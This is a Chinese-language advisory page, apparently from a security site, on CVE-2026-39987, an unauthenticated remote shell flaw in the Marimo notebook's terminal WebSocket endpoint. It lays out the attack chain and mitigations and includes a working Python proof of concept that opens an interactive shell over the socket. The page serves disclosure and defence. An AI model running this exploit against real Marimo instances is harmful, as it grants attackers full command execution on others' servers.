IPBUF安全漏洞报告
English
CVE-2026-39987 CVSS 9.8 严重

CVE-2026-39987 Marimo 认证前远程代码执行漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-39987
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Marimo

相关标签

RCEMarimoWebSocketAuthentication BypassPythonCVE-2026-39987

漏洞概述

Marimo是一个响应式Python笔记本。在0.23.0版本之前,其终端WebSocket端点 `/terminal/ws` 存在严重的身份验证绕过漏洞。由于该端点在建立连接时未进行身份验证验证,仅检查了运行模式和平台支持,导致未经身份验证的攻击者可以直接连接并获取完整的PTY shell,从而在服务器上执行任意系统命令。该漏洞CVSS评分为9.8,属于严重级别,攻击者无需用户交互即可利用此漏洞完全控制受害主机。

技术细节

该漏洞源于Marimo在处理WebSocket连接时的逻辑缺陷。正常情况下,敏感WebSocket端点(如 `/ws`)会调用 `validate_auth()` 函数来确保请求经过身份验证。然而,`/terminal/ws` 端点在实现时遗漏了这一关键的安全检查。当攻击者向 `/terminal/ws` 发送连接请求时,系统仅验证运行模式是否允许终端以及平台是否支持PTY,并未验证用户的会话或令牌。一旦连接建立,攻击者可以通过WebSocket协议发送终端指令,服务器将直接执行这些指令并将结果返回。由于绕过了认证机制,攻击者无需任何凭据即可获得服务器最高权限的Shell访问能力,导致机密性、完整性和可用性全面受损。这种设计缺陷使得暴露在公网的Marimo实例极易受到自动化攻击,攻击者可借此植入后门、窃取数据或横向移动。

攻击链分析

STEP 1
发现目标
攻击者识别出运行Marimo且版本低于0.23.0的服务器目标。
STEP 2
发起连接
攻击者向存在漏洞的 `/terminal/ws` 端点发送WebSocket握手请求。
STEP 3
绕过认证
服务器端仅检查运行模式和平台支持,由于未调用 `validate_auth()`,攻击者成功绕过身份验证。
STEP 4
建立Shell
WebSocket连接建立后,服务器为连接分配一个伪终端(PTY),提供对底层操作系统的访问。
STEP 5
执行命令
攻击者通过WebSocket发送任意系统命令,服务器接收并执行,将结果返回给攻击者,实现完全的远程控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets # PoC for CVE-2026-39987 # Target: Marimo < 0.23.0 # The vulnerability exists in the /terminal/ws endpoint which lacks authentication. async def exploit(target_url): # Construct the WebSocket URL for the terminal endpoint ws_url = f"{target_url}/terminal/ws" try: print(f"[*] Connecting to {ws_url}...") # No authentication headers or cookies are required async with websockets.connect(ws_url) as websocket: print("[+] Connection established! Shell access granted.") print("[*] Sending commands...") # Send a simple command to verify execution (e.g., 'id' or 'ls') await websocket.send("id\n") response = await websocket.recv() print(f"[+] Command Output:\n{response}") # Keep connection open for interaction while True: cmd = input("shell> ") if cmd == "exit": break await websocket.send(cmd + "\n") output = await websocket.recv() print(output) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "ws://localhost:2718" # Default Marimo port asyncio.run(exploit(target))

影响范围

Marimo < 0.23.0

防御指南

临时缓解措施
如果无法立即升级,请确保Marimo实例不直接暴露在公共互联网上。使用反向代理(如Nginx)并添加身份验证,或使用防火墙规则阻止对2718端口(默认)的访问,特别是到 `/terminal/ws` 路径的流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表